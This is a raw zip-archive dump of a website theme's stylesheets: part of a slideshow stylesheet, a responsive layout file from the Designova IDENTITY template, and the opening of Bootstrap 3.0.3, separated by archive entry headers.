	z-index: 1000;
	color: #59656c;
	text-align: center;
	padding: 3%;
	cursor: pointer;
	font-size: 2.2em;
}

.slideshow nav span.nav-prev,
.slideshow nav span.nav-next {
	top: 50%;
	-webkit-transform: translateY(-50%);
	transform: translateY(-50%);
}

.slideshow nav span.nav-next {
	right: 0;
}

.slideshow nav span.nav-close {
	top: 0;
	right: 0;
	padding: 0.5em 1em;
	color: #31373a;
}
/*
.icon:before,
.icon:after {
	font-family: 'fontawesome';
	speak: none;
	font-style: normal;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}*/
/*
span.nav-prev:before {
	content: "\e601";
}

span.nav-next:before  {
	content: "\e600";
}

span.nav-close:before {
	content: "\e602";
}*/

/* Info on arrow key navigation */
.info-keys {
	position: fixed;
	top: 10px;
	left: 10px;
	width: 70px;
	font-size: 8px;
	padding-top: 30px;
	background: url('../images/hint.png') top center no-repeat;
	text-transform: uppercase;
	color: #fff;
	letter-spacing: 1px;
	text-align: center;
}

.info-keys:before,
.info-keys:after {
	position: absolute;
	top: 0;
	width: 16px;
	height: 16px;
	border: 1px solid #fff;
	text-align: center;
	line-height: 14px;
	font-size: 12px;
}
/*
.info-keys:before {
	left: 10px;
	content: "\e603";
}

.info-keys:after {
	right: 10px;
	content: "\e604";
}*/


/* Example media queries (reduce number of columns and change slideshow layout) */

@media screen and (max-width: 60em) {
	/* responsive columns; see "Element sizing" on http://masonry.desandro.com/options.html */
	.grid li {
		width: 33.3%;
	}

	.slideshow li {
		width: 100%;
		height: 100%;
		top: 0;
		left: 0;
		margin: 0;
	}

	.slideshow li figure img {
		width: auto;
		margin: 0 auto;
		max-width: 100%;
	}

	.slideshow nav span,
	.slideshow nav span.nav-close {
		font-size: 1.8em;
		padding: 0.3em;
	}

	.info-keys {
		display: none;
	}

}

@media screen and (max-width: 35em) {
	.grid li {
		width: 50%;
	}
}

@media screen and (max-width: 24em) {
	.grid li {
		width: 100%;
	}
}PK!��l�Y�Y(bluetheme/assets/css/main-responsive.cssnu&1i�/*MAIN.CSS*/
/*-------------------------------------------------------------------------------------------------------------------------------*/
/*This is main CSS file that contains custom style rules used in this template*/
/*-------------------------------------------------------------------------------------------------------------------------------*/
/* Template Name: IDENTITY.*/
/* Author: Designova.*/
/* Website: http://www.designova.net */
/* Copyright: (C) 2014 */
/*-------------------------------------------------------------------------------------------------------------------------------*/

/*==========================*/
/*ALL DEVICE OPTIMIZATION*/
/*===========================*/

/*Huge Displays*/
@media (min-width: 3000px) {
	  .intro-grid{
	 	width: 20%;
	 }
	 .grid li{
	 	width: 20%;
	 }

}

/*Projector Screens and Ver Large Monitors*/
@media (min-width: 2561px) {
	  .intro-grid{
	 	width: 20%;
	 }
	 .grid li{
	 	width: 20%;
	 }
}

/*iMac 27, HD Screens and Large Monitors*/
@media (min-width: 1921px) and (max-width: 2560px) {
	  .intro-grid{
	 	width: 20%;
	 }
	 
	 .grid li{
	 	width: 20%;
	 }

}

/*Large Widescreen Monitors*/
@media (max-width: 1920px) {
	
	  .intro-grid{
	 	width: 20%;
	 }
	 .grid li{
	 	width: 20%;
	 }

}

/*Medium Widescreen Monitors*/
@media (max-width: 1680px) {
	
	  .intro-grid{
	 	width: 20%;
	 }
	 .grid li{
	 	width: 20%;
	 }
	.intro-06-headletters .caps-heading{
		font-size: 64px;
		line-height: 71px;
	}
	.intro-06-sub-heading > span{
		font-size: 24px;
		line-height: 31px;
	}

}

/*Large Widescreen Laptops*/
@media (max-width: 1440px) {
	  .intro-grid{
	 	width: 20%;
	 }
	 .grid li{
	 	width: 20%;
	 }
	.intro-06-headletters .caps-heading{
		font-size: 48px;
		line-height: 55px;
	}
	.intro-06-sub-heading > span{
		font-size: 18px;
		line-height: 25px;
	}

}

/*Common Widescreen Laptops*/
@media (max-width: 1366px) {
	  .intro-grid{
	 	width: 25%;
	 }
	
	 .grid li{
	 	width: 25%;
	 }
	.intro-06-headletters .caps-heading{
		font-size: 48px;
		line-height: 55px;
	}
	.intro-06-sub-heading > span{
		font-size: 18px;
		line-height: 25px;
	}
}


/*Very Large Tablets and Medium Laptops*/
@media (max-width: 1280px) {
	  .intro-grid{
	 	width: 25%;
	 }
	
	 .grid li{
	 	width: 33.3%;
	 }
	.intro-06-headletters .caps-heading{
		font-size: 48px;
		line-height: 55px;
	}
	.intro-06-sub-heading > span{
		font-size: 18px;
		line-height: 25px;
	}

	
}

/*Notebooks and Small Laptops*/
@media (max-width: 1152px) {
	
	  .intro-grid{
	 	width: 25%;
	 }
	
	 .grid li{
	 	width: 33.3%;
	 }
	.intro-06-headletters .caps-heading{
		font-size: 48px;
		line-height: 55px;
	}
	.intro-06-sub-heading > span{
		font-size: 18px;
		line-height: 25px;
	}
	.intro-08-headletters h2{
		font-size: 32px;
		line-height: 39px;
	}
	.intro-08-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
}

/*iPad Landscape Mode and Large Tablets */
@media (max-width: 1024px) {
	.container{
		width: 100%;
	}
	.intro-06-headletters .caps-heading{
		font-size: 48px;
		line-height: 55px;
	}
	.intro-06-sub-heading > span{
		font-size: 18px;
		line-height: 25px;
	}
	.intro-08-headletters h2{
		font-size: 32px;
		line-height: 39px;
	}
	.intro-08-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.stats-list li{
		display: inline-block;
		width: 49%;
	}
	.status-icon > img{
		margin-left: 15px;
	}
	.grid li{
		width: 50%;
	}
	.intro-grid{
		width: 33.3%;
	}
	
	 .mediafolio-grid{
	 	width:  32%;
	 }
	 .main-heading{
	 	font-size: 48px;
	 	line-height: 55px;
	 }

}

/*Small Desktop and Very Small Notebook */
@media (max-width: 960px) {
	.container{
		width: 100%;
	}
	.intro-06-headletters .caps-heading{
		font-size: 48px;
		line-height: 55px;
	}
	.intro-06-sub-heading > span{
		font-size: 18px;
		line-height: 25px;
	}
	.intro-08-headletters h2{
		font-size: 32px;
		line-height: 39px;
	}
	.intro-08-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.stats-list li{
		display: inline-block;
		width: 49%;
	}
	.status-icon > img{
		margin-left: 15px;
	}
	.grid li{
		width: 50%;
	}
	.intro-grid{
		width: 33.3%;
	}
	
	 .mediafolio-grid{
	 	width: 33.3%;
	 }
}

/*Medium Tablets */
@media (max-width: 800px) {
	.container{
		width: 100%;
	}
	 .add-top-half{
		padding-top:15px;
	}
	.add-bottom-half{
		padding-bottom: 15px;
	}
	.mob-center{
		text-align: center;
	}
	.mob-add-top{
		margin-top: 30px;
	}
	.mob-add-bottom{
		margin-bottom:30px;
	}
	.text-left, .text-right, p, h1, h2, h3, h4, h5{
		text-align: center;
	}
	.btn{
		width: 100%;
	}
	.border-top-main, .border-top-dark, .border-top-white, .border-top-grey{
		border-top: none !important;
	}
	#sm-trigger {
		background: transparent url('../images/menu.png')  center 20px  no-repeat;
		box-shadow: none;
	}
	#vertical-logo{
		display: none;
	}
	#mastwrap{
		margin-left: 0;
	}
	.menu a{
		font-size: 10px;
		padding: 1em 1em 1em 1.8em;
	}
	#logo > img{
		display: none;
	}
	.handle{
		display: block;
		margin-bottom: 20px;
	}
	.intro-grid{
		width: 50%;
	}
	.intro-03-headletters .caps-heading{
		font-size: 36px;
	}
	.intro-03-sub-heading {
	    font-size: 14px;
	    line-height: 24px;
	}
	.intro-06-headletters .caps-heading{
		font-size: 36px;
		line-height: 43px;
	}
	.intro-06-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.intro-08-headletters h2{
		font-size: 24px;
		line-height: 31px;
	}
	.intro-08-sub-heading > span{
		font-size: 14px !important;
		line-height: 21px !important;
		background: transparent !important;
		color: #999 !important;
	}
	.main-heading{
		font-size: 32px;
		line-height: 39px;
	}
	.sub-heading {
	    font-size: 18px;
	    line-height: 25px;
	}
	.testimonial-carousel .owl-buttons{
		text-align: center !important;
	}
	.liner-small{
		display: inline-block;
	}
	.status-icon{
		text-align: center;
	}
	.img-responsive{
		display: inline-block;
	}
	.stats-info > span{
		margin-left: 0;
	}
	.stats-text{
		margin-left: 0;
	}
	.inner-heading{
		font-size: 20px;
		line-height: 27px;
	}
	.query-heading{
		font-size: 24px;
		line-height: 31px;
	}
	.mediafolio-grid{
		width: 49%;
	}
	.mediafolio-filter li{
		padding: 6px;
		width: 32%;
		margin: 2px !important;
	}
	.portfolio-filter li{
		padding: 2px;
		margin: 0 !important;
		width: 33% !important;
	}
	.portfolio-filter li span{
		display: block;
		border:solid 1px #fff;
	}
	.slideshow nav span.nav-prev, .slideshow nav span.nav-next {
		display: none;
	}
	.slideshow nav span, .slideshow nav span.nav-close{
		padding-right: 30px;
	}
	.va-title{
		font-size: 18px;
		line-height: 24px;
		padding-left: 10px;
		text-align: left;
	}
	.va-slice ul li {
	    display: block;
	    margin: 0 2px 30px;
	    float: none;
	}
	.gallery-slide{
		width: 400px !important;
		height: 266px !important;
	}
	.credentials li a > span{
		display: block;
	}
	.grid li{
		width: 50%;
	}
	  
}

/*iPad Portrait Mode, iPad Mini and Small Tablets */
@media (max-width: 768px) {
	.container{
		width: 100%;
	}
	 .add-top-half{
		padding-top:15px;
	}
	.add-bottom-half{
		padding-bottom: 15px;
	}
	.mob-center{
		text-align: center;
	}
	.mob-add-top{
		margin-top: 30px;
	}
	.mob-add-bottom{
		margin-bottom:30px;
	}
	.text-left, .text-right, p, h1, h2, h3, h4, h5{
		text-align: center;
	}
	.btn{
		width: 100%;
	}
	.border-top-main, .border-top-dark, .border-top-white, .border-top-grey{
		border-top: none !important;
	}
	#sm-trigger {
		background: transparent url('../images/menu.png')  center 20px  no-repeat;
		box-shadow: none;
	}
	#vertical-logo{
		display: none;
	}
	#mastwrap{
		margin-left: 0;
	}
	.menu a{
		font-size: 10px;
		padding: 1em 1em 1em 1.8em;
	}
	#logo > img{
		display: none;
	}
	.handle{
		display: block;
		margin-bottom: 20px;
	}
	.intro-grid{
		width: 50%;
	}
	.intro-03-headletters .caps-heading{
		font-size: 36px;
	}
	.intro-03-sub-heading {
	    font-size: 14px;
	    line-height: 24px;
	}
	.intro-06-headletters .caps-heading{
		font-size: 36px;
		line-height: 43px;
	}
	.intro-06-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.intro-08-headletters h2{
		font-size: 24px;
		line-height: 31px;
	}
	.intro-08-sub-heading > span{
		font-size: 14px !important;
		line-height: 21px !important;
		background: transparent !important;
		color: #999 !important;
	}
	.main-heading{
		font-size: 32px;
		line-height: 39px;
	}
	.sub-heading {
	    font-size: 18px;
	    line-height: 25px;
	}
	.testimonial-carousel .owl-buttons{
		text-align: center !important;
	}
	.liner-small{
		display: inline-block;
	}
	.status-icon{
		text-align: center;
	}
	.img-responsive{
		display: inline-block;
	}
	.stats-info > span{
		margin-left: 0;
	}
	.stats-text{
		margin-left: 0;
	}
	.inner-heading{
		font-size: 20px;
		line-height: 27px;
	}
	.query-heading{
		font-size: 24px;
		line-height: 31px;
	}
	.mediafolio-grid{
		width: 49%;
	}
	.mediafolio-filter li{
		padding: 6px;
		width: 32%;
		margin: 2px !important;
	}
	.portfolio-filter li{
		padding: 2px;
		margin: 0 !important;
		width: 33% !important;
	}
	.portfolio-filter li span{
		display: block;
		border:solid 1px #fff;
	}
	.slideshow nav span.nav-prev, .slideshow nav span.nav-next {
		display: none;
	}
	.slideshow nav span, .slideshow nav span.nav-close{
		padding-right: 30px;
	}
	.va-title{
		font-size: 18px;
		line-height: 24px;
		padding-left: 10px;
		text-align: left;
	}
	.va-slice ul li {
	    display: block;
	    margin: 0 2px 30px;
	    float: none;
	}
	.gallery-slide{
		width: 384px !important;
		height: 256px !important;
	}
	.credentials li a > span{
		display: block;
	}
	.grid li{
		width: 50%;
	}
}

/*Medium Smart Phones v2*/
@media screen and (max-width: 640px) {
	.add-top-half{
		padding-top:15px;
	}
	.add-bottom-half{
		padding-bottom: 15px;
	}
	.mob-center{
		text-align: center;
	}
	.mob-add-top{
		margin-top: 30px;
	}
	.mob-add-bottom{
		margin-bottom:30px;
	}
	.text-left, .text-right, p, h1, h2, h3, h4, h5{
		text-align: center;
	}
	.btn{
		width: 100%;
	}
	.border-top-main, .border-top-dark, .border-top-white, .border-top-grey{
		border-top: none !important;
	}
	#sm-trigger {
		background: transparent url('../images/menu.png')  center 20px  no-repeat;
		box-shadow: none;
	}
	#vertical-logo{
		display: none;
	}
	#mastwrap{
		margin-left: 0;
	}
	.menu a{
		font-size: 10px;
		padding: 1em 1em 1em 1.8em;
	}
	#logo > img{
		display: none;
	}
	.handle{
		display: block;
		margin-bottom: 20px;
	}
	.intro-grid{
		width: 50%;
	}
	.intro-03-headletters .caps-heading{
		font-size: 36px;
	}
	.intro-03-sub-heading {
	    font-size: 14px;
	    line-height: 24px;
	}
	.intro-06-headletters .caps-heading{
		font-size: 36px;
		line-height: 43px;
	}
	.intro-06-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.intro-08-headletters h2{
		font-size: 24px;
		line-height: 31px;
	}
	.intro-08-sub-heading > span{
		font-size: 14px !important;
		line-height: 21px !important;
		background: transparent !important;
		color: #999 !important;
	}
	.main-heading{
		font-size: 32px;
		line-height: 39px;
	}
	.sub-heading {
	    font-size: 18px;
	    line-height: 25px;
	}
	.testimonial-carousel .owl-buttons{
		text-align: center !important;
	}
	.liner-small{
		display: inline-block;
	}
	.status-icon{
		text-align: center;
	}
	.img-responsive{
		display: inline-block;
	}
	.stats-info > span{
		margin-left: 0;
	}
	.stats-text{
		margin-left: 0;
	}
	.inner-heading{
		font-size: 20px;
		line-height: 27px;
	}
	.query-heading{
		font-size: 24px;
		line-height: 31px;
	}
	.mediafolio-grid{
		width: 49%;
	}
	.mediafolio-filter li{
		padding: 6px;
		width: 48%;
		margin: 2px !important;
	}
	.portfolio-filter li{
		padding: 2px;
		margin: 0 !important;
		width: 48% !important;
	}
	.portfolio-filter li span{
		display: block;
		border:solid 1px #fff;
	}
	.slideshow nav span.nav-prev, .slideshow nav span.nav-next {
		display: none;
	}
	.slideshow nav span, .slideshow nav span.nav-close{
		padding-right: 30px;
	}
	.va-title{
		font-size: 18px;
		line-height: 24px;
		padding-left: 10px;
		text-align: left;
	}
	.va-slice ul li {
	    display: block;
	    margin: 0 2px 30px;
	    float: none;
	}
	.gallery-slide{
		width: 640px !important;
		height: 426px !important;
	}
	.credentials li a > span{
		display: block;
	}
	.grid li{
		width: 50%;
	}
} 

/*Google Nexus and Other Large Smart Phones v1*/
@media screen and (max-width: 600px) {
	.add-top-half{
		padding-top:15px;
	}
	.add-bottom-half{
		padding-bottom: 15px;
	}
	.mob-center{
		text-align: center;
	}
	.mob-add-top{
		margin-top: 30px;
	}
	.mob-add-bottom{
		margin-bottom:30px;
	}
	.text-left, .text-right, p, h1, h2, h3, h4, h5{
		text-align: center;
	}
	.btn{
		width: 100%;
	}
	.border-top-main, .border-top-dark, .border-top-white, .border-top-grey{
		border-top: none !important;
	}
	#sm-trigger {
		background: transparent url('../images/menu.png')  center 20px  no-repeat;
		box-shadow: none;
	}
	#vertical-logo{
		display: none;
	}
	#mastwrap{
		margin-left: 0;
	}
	.menu a{
		font-size: 10px;
		padding: 1em 1em 1em 1.8em;
	}
	#logo > img{
		display: none;
	}
	.handle{
		display: block;
		margin-bottom: 20px;
	}
	.intro-grid{
		width: 50%;
	}
	.intro-03-headletters .caps-heading{
		font-size: 36px;
	}
	.intro-03-sub-heading {
	    font-size: 14px;
	    line-height: 24px;
	}
	.intro-06-headletters .caps-heading{
		font-size: 36px;
		line-height: 43px;
	}
	.intro-06-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.intro-08-headletters h2{
		font-size: 24px;
		line-height: 31px;
	}
	.intro-08-sub-heading > span{
		font-size: 14px !important;
		line-height: 21px !important;
		background: transparent !important;
		color: #999 !important;
	}
	.main-heading{
		font-size: 32px;
		line-height: 39px;
	}
	.sub-heading {
	    font-size: 18px;
	    line-height: 25px;
	}
	.testimonial-carousel .owl-buttons{
		text-align: center !important;
	}
	.liner-small{
		display: inline-block;
	}
	.status-icon{
		text-align: center;
	}
	.img-responsive{
		display: inline-block;
	}
	.stats-info > span{
		margin-left: 0;
	}
	.stats-text{
		margin-left: 0;
	}
	.inner-heading{
		font-size: 20px;
		line-height: 27px;
	}
	.query-heading{
		font-size: 24px;
		line-height: 31px;
	}
	.mediafolio-grid{
		width: 49%;
	}
	.mediafolio-filter li{
		padding: 6px;
		width: 48%;
		margin: 2px !important;
	}
	.portfolio-filter li{
		padding: 2px;
		margin: 0 !important;
		width: 48% !important;
	}
	.portfolio-filter li span{
		display: block;
		border:solid 1px #fff;
	}
	.slideshow nav span.nav-prev, .slideshow nav span.nav-next {
		display: none;
	}
	.slideshow nav span, .slideshow nav span.nav-close{
		padding-right: 30px;
	}
	.va-title{
		font-size: 18px;
		line-height: 24px;
		padding-left: 10px;
		text-align: left;
	}
	.va-slice ul li {
	    display: block;
	    margin: 0 2px 30px;
	    float: none;
	}
	.gallery-slide{
		width: 600px !important;
		height: 399px !important;
	}
	.credentials li a > span{
		display: block;
	}
	.grid li{
		width: 50%;
	}
} 

/*iPhone Landscape Mode and Mediium Smart Phones*/
@media screen and (max-width: 480px) {
	.add-top-half{
		padding-top:15px;
	}
	.add-bottom-half{
		padding-bottom: 15px;
	}
	.mob-center{
		text-align: center;
	}
	.mob-add-top{
		margin-top: 30px;
	}
	.mob-add-bottom{
		margin-bottom:30px;
	}
	.text-left, .text-right, p, h1, h2, h3, h4, h5{
		text-align: center;
	}
	.btn{
		width: 100%;
	}
	.border-top-main, .border-top-dark, .border-top-white, .border-top-grey{
		border-top: none !important;
	}
	#sm-trigger {
		background: transparent url('../images/menu.png')  center 20px  no-repeat;
		box-shadow: none;
	}
	#vertical-logo{
		display: none;
	}
	#mastwrap{
		margin-left: 0;
	}
	.menu a{
		font-size: 10px;
		padding: 1em 1em 1em 1.8em;
	}
	#logo > img{
		display: none;
	}
	.handle{
		display: block;
		margin-bottom: 20px;
	}
	.intro-grid{
		width: 50%;
	}
	.intro-03-headletters .caps-heading{
		font-size: 36px;
	}
	.intro-03-sub-heading {
	    font-size: 14px;
	    line-height: 24px;
	}
	.intro-06-headletters .caps-heading{
		font-size: 36px;
		line-height: 43px;
	}
	.intro-06-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.intro-08-headletters h2{
		font-size: 24px;
		line-height: 31px;
	}
	.intro-08-sub-heading > span{
		font-size: 14px !important;
		line-height: 21px !important;
		background: transparent !important;
		color: #999 !important;
	}
	.main-heading{
		font-size: 32px;
		line-height: 39px;
	}
	.sub-heading {
	    font-size: 18px;
	    line-height: 25px;
	}
	.testimonial-carousel .owl-buttons{
		text-align: center !important;
	}
	.liner-small{
		display: inline-block;
	}
	.status-icon{
		text-align: center;
	}
	.img-responsive{
		display: inline-block;
	}
	.stats-info > span{
		margin-left: 0;
	}
	.stats-text{
		margin-left: 0;
	}
	.inner-heading{
		font-size: 20px;
		line-height: 27px;
	}
	.query-heading{
		font-size: 24px;
		line-height: 31px;
	}
	.mediafolio-grid{
		width: 49%;
	}
	.mediafolio-filter li{
		padding: 6px;
		width: 48%;
		margin: 2px !important;
	}
	.portfolio-filter li{
		padding: 2px;
		margin: 0 !important;
		width: 48% !important;
	}
	.portfolio-filter li span{
		display: block;
		border:solid 1px #fff;
	}
	.slideshow nav span.nav-prev, .slideshow nav span.nav-next {
		display: none;
	}
	.slideshow nav span, .slideshow nav span.nav-close{
		padding-right: 30px;
	}
	.va-title{
		font-size: 18px;
		line-height: 24px;
		padding-left: 10px;
		text-align: left;
	}
	.va-slice ul li {
	    display: block;
	    margin: 0 2px 30px;
	    float: none;
	}
	.gallery-slide{
		width: 480px !important;
		height: 319px !important;
	}
	.credentials li a > span{
		display: block;
	}
	.grid li{
		width: 50%;
	}
}

/*Other Major Small Smart Phones*/
@media screen and (max-width: 360px) {
 	
	.add-top-half{
		padding-top:15px;
	}
	.add-bottom-half{
		padding-bottom: 15px;
	}
	.mob-center{
		text-align: center;
	}
	.mob-add-top{
		margin-top: 30px;
	}
	.mob-add-bottom{
		margin-bottom:30px;
	}
	.text-left, .text-right, p, h1, h2, h3, h4, h5{
		text-align: center;
	}
	.btn{
		width: 100%;
	}
	.border-top-main, .border-top-dark, .border-top-white, .border-top-grey{
		border-top: none !important;
	}
	#sm-trigger {
		background: transparent url('../images/menu.png')  center 20px  no-repeat;
		box-shadow: none;
	}
	#vertical-logo{
		display: none;
	}
	#mastwrap{
		margin-left: 0;
	}
	.menu a{
		font-size: 10px;
		padding: 1em 1em 1em 1.8em;
	}
	#logo > img{
		display: none;
	}
	.handle{
		display: block;
		margin-bottom: 20px;
	}
	.intro-grid{
		width: 50%;
	}
	.intro-03-headletters .caps-heading{
		font-size: 36px;
	}
	.intro-03-sub-heading {
	    font-size: 14px;
	    line-height: 24px;
	}
	.intro-06-headletters .caps-heading{
		font-size: 36px;
		line-height: 43px;
	}
	.intro-06-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.intro-08-headletters h2{
		font-size: 24px;
		line-height: 31px;
	}
	.intro-08-sub-heading > span{
		font-size: 14px !important;
		line-height: 21px !important;
		background: transparent !important;
		color: #999 !important;
	}
	.main-heading{
		font-size: 32px;
		line-height: 39px;
	}
	.sub-heading {
	    font-size: 18px;
	    line-height: 25px;
	}
	.testimonial-carousel .owl-buttons{
		text-align: center !important;
	}
	.liner-small{
		display: inline-block;
	}
	.status-icon{
		text-align: center;
	}
	.img-responsive{
		display: inline-block;
	}
	.stats-info > span{
		margin-left: 0;
	}
	.stats-text{
		margin-left: 0;
	}
	.inner-heading{
		font-size: 20px;
		line-height: 27px;
	}
	.query-heading{
		font-size: 24px;
		line-height: 31px;
	}
	.mediafolio-grid{
		width: 49%;
	}
	.mediafolio-filter li{
		padding: 6px;
		width: 48%;
		margin: 2px !important;
	}
	.portfolio-filter li{
		padding: 2px;
		margin: 0 !important;
		width: 48% !important;
	}
	.portfolio-filter li span{
		display: block;
		border:solid 1px #fff;
	}
	.slideshow nav span.nav-prev, .slideshow nav span.nav-next {
		display: none;
	}
	.slideshow nav span, .slideshow nav span.nav-close{
		padding-right: 30px;
	}
	.va-title{
		font-size: 18px;
		line-height: 24px;
		padding-left: 10px;
		text-align: left;
	}
	.va-slice ul li {
	    display: block;
	    margin: 0 2px 30px;
	    float: none;
	}
	.gallery-slide{
		width: 360px !important;
		height: 239px !important;
	}
	.credentials li a > span{
		display: block;
	}
}

/*iPhone Portrait Mode and Very Small Mobile Phones*/
@media screen and (max-width: 320px) {
	.add-top-half{
		padding-top:15px;
	}
	.add-bottom-half{
		padding-bottom: 15px;
	}
	.mob-center{
		text-align: center;
	}
	.mob-add-top{
		margin-top: 30px;
	}
	.mob-add-bottom{
		margin-bottom:30px;
	}
	.text-left, .text-right, p, h1, h2, h3, h4, h5{
		text-align: center;
	}
	.btn{
		width: 100%;
	}
	.border-top-main, .border-top-dark, .border-top-white, .border-top-grey{
		border-top: none !important;
	}
	#sm-trigger {
		background: transparent url('../images/menu.png')  center 20px  no-repeat;
		box-shadow: none;
	}
	#vertical-logo{
		display: none;
	}
	#mastwrap{
		margin-left: 0;
	}
	.menu a{
		font-size: 10px;
		padding: 1em 1em 1em 1.8em;
	}
	#logo > img{
		display: none;
	}
	.handle{
		display: block;
		margin-bottom: 20px;
	}
	.intro-grid{
		width: 50%;
	}
	.intro-03-headletters .caps-heading{
		font-size: 36px;
	}
	.intro-03-sub-heading {
	    font-size: 14px;
	    line-height: 24px;
	}
	.intro-06-headletters .caps-heading{
		font-size: 36px;
		line-height: 43px;
	}
	.intro-06-sub-heading > span{
		font-size: 12px;
		line-height: 19px;
	}
	.intro-08-headletters h2{
		font-size: 24px;
		line-height: 31px;
	}
	.intro-08-sub-heading > span{
		font-size: 14px !important;
		line-height: 21px !important;
		background: transparent !important;
		color: #999 !important;
	}
	.main-heading{
		font-size: 32px;
		line-height: 39px;
	}
	.sub-heading {
	    font-size: 18px;
	    line-height: 25px;
	}
	.testimonial-carousel .owl-buttons{
		text-align: center !important;
	}
	.liner-small{
		display: inline-block;
	}
	.status-icon{
		text-align: center;
	}
	.img-responsive{
		display: inline-block;
	}
	.stats-info > span{
		margin-left: 0;
	}
	.stats-text{
		margin-left: 0;
	}
	.inner-heading{
		font-size: 20px;
		line-height: 27px;
	}
	.query-heading{
		font-size: 24px;
		line-height: 31px;
	}
	.mediafolio-grid{
		width: 49%;
	}
	.mediafolio-filter li{
		padding: 6px;
		width: 48%;
		margin: 2px !important;
	}
	.portfolio-filter li{
		padding: 2px;
		margin: 0 !important;
		width: 48% !important;
	}
	.portfolio-filter li span{
		display: block;
		border:solid 1px #fff;
	}
	.slideshow nav span.nav-prev, .slideshow nav span.nav-next {
		display: none;
	}
	.slideshow nav span, .slideshow nav span.nav-close{
		padding-right: 30px;
	}
	.va-title{
		font-size: 18px;
		line-height: 24px;
		padding-left: 10px;
		text-align: left;
	}
	.va-slice ul li {
	    display: block;
	    margin: 0 2px 30px;
	    float: none;
	}
	.gallery-slide{
		width: 320px !important;
		height: 213px !important;
	}
	.credentials li a > span{
		display: block;
	}
}


PK!��
�S�S�"bluetheme/assets/css/bootstrap.cssnu&1i�/*!
 * Bootstrap v3.0.3
 *
 * Copyright 2013 Twitter, Inc
 * Licensed under the Apache License v2.0
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Designed and built with all the love in the world @twitter by @mdo and @fat.
 */

/*! normalize.css v2.1.3 | MIT License | git.io/normalize */
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
nav,
section,
summary {
  display: block;
}
audio,
canvas,
video {
  display: inline-block;
}
audio:not([controls]) {
  display: none;
  height: 0;
}
[hidden],
template {
  display: none;
}
html {
  font-family: sans-serif;
  -ms-text-size-adjust: 100%;
  -webkit-text-size-adjust: 100%;
}
body {
  margin: 0;
}
a {
  background: transparent;
}
a:focus {
  outline: thin dotted;
}
a:active,
a:hover {
  outline: 0;
}
h1 {
  font-size: 2em;
  margin: 0.67em 0;
}
abbr[title] {
  border-bottom: 1px dotted;
}
b,
strong {
  font-weight: bold;
}
dfn {
  font-style: italic;
}
hr {
  -moz-box-sizing: content-box;
  box-sizing: content-box;
  height: 0;
}
mark {
  background: #ff0;
  color: #000;
}
code,
kbd,
pre,
samp {
  font-family: monospace, serif;
  font-size: 1em;
}
pre {
  white-space: pre-wrap;
}
q {
  quotes: "\201C" "\201D" "\2018" "\2019";
}
small {
  font-size: 80%;
}
sub,
sup {
  font-size: 75%;
  line-height: 0;
  position: relative;
  vertical-align: baseline;
}
sup {
  top: -0.5em;
}
sub {
  bottom: -0.25em;
}
img {
  border: 0;
}
svg:not(:root) {
  overflow: hidden;
}
figure {
  margin: 0;
}
fieldset {
  border: 1px solid #c0c0c0;
  margin: 0 2px;
  padding: 0.35em 0.625em 0.75em;
}
legend {
  border: 0;
  padding: 0;
}
button,
input,
select,
textarea {
  font-family: inherit;
  font-size: 100%;
  margin: 0;
}
button,
input {
  line-height: normal;
}
button,
select {
  text-transform: none;
}
button,
html input[type="button"],
input[type="reset"],
input[type="submit"] {
  -webkit-appearance: button;
  cursor: pointer;
}
button[disabled],
html input[disabled] {
  cursor: default;
}
input[type="checkbox"],
input[type="radio"] {
  box-sizing: border-box;
  padding: 0;
}
input[type="search"] {
  -webkit-appearance: textfield;
  -moz-box-sizing: content-box;
  -webkit-box-sizing: content-box;
  box-sizing: content-box;
}
input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
  -webkit-appearance: none;
}
button::-moz-focus-inner,
input::-moz-focus-inner {
  border: 0;
  padding: 0;
}
textarea {
  overflow: auto;
  vertical-align: top;
}
table {
  border-collapse: collapse;
  border-spacing: 0;
}
@media print {
  * {
    text-shadow: none !important;
    color: #000 !important;
    background: transparent !important;
    box-shadow: none !important;
  }
  a,
  a:visited {
    text-decoration: underline;
  }
  a[href]:after {
    content: " (" attr(href) ")";
  }
  abbr[title]:after {
    content: " (" attr(title) ")";
  }
  a[href^="javascript:"]:after,
  a[href^="#"]:after {
    content: "";
  }
  pre,
  blockquote {
    border: 1px solid #999;
    page-break-inside: avoid;
  }
  thead {
    display: table-header-group;
  }
  tr,
  img {
    page-break-inside: avoid;
  }
  img {
    max-width: 100% !important;
  }
  @page  {
    margin: 2cm .5cm;
  }
  p,
  h2,
  h3 {
    orphans: 3;
    widows: 3;
  }
  h2,
  h3 {
    page-break-after: avoid;
  }
  select {
    background: #fff !important;
  }
  .navbar {
    display: none;
  }
  .table td,
  .table th {
    background-color: #fff !important;
  }
  .btn > .caret,
  .dropup > .btn > .caret {
    border-top-color: #000 !important;
  }
  .label {
    border: 1px solid #000;
  }
  .table {
    border-collapse: collapse !important;
  }
  .table-bordered th,
  .table-bordered td {
    border: 1px solid #ddd !important;
  }
}
*,
*:before,
*:after {
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}
html {
  font-size: 62.5%;
  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}
body {
  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
  font-size: 14px;
  line-height: 1.428571429;
  color: #333333;
  background-color: #ffffff;
}
input,
button,
select,
textarea {
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
}
a {
  color: #428bca;
  text-decoration: none;
}
a:hover,
a:focus {
  color: #2a6496;
  text-decoration: underline;
}
a:focus {
  outline: thin dotted;
  outline: 5px auto -webkit-focus-ring-color;
  outline-offset: -2px;
}
img {
  vertical-align: middle;
}
.img-responsive {
  display: block;
  max-width: 100%;
  height: auto;
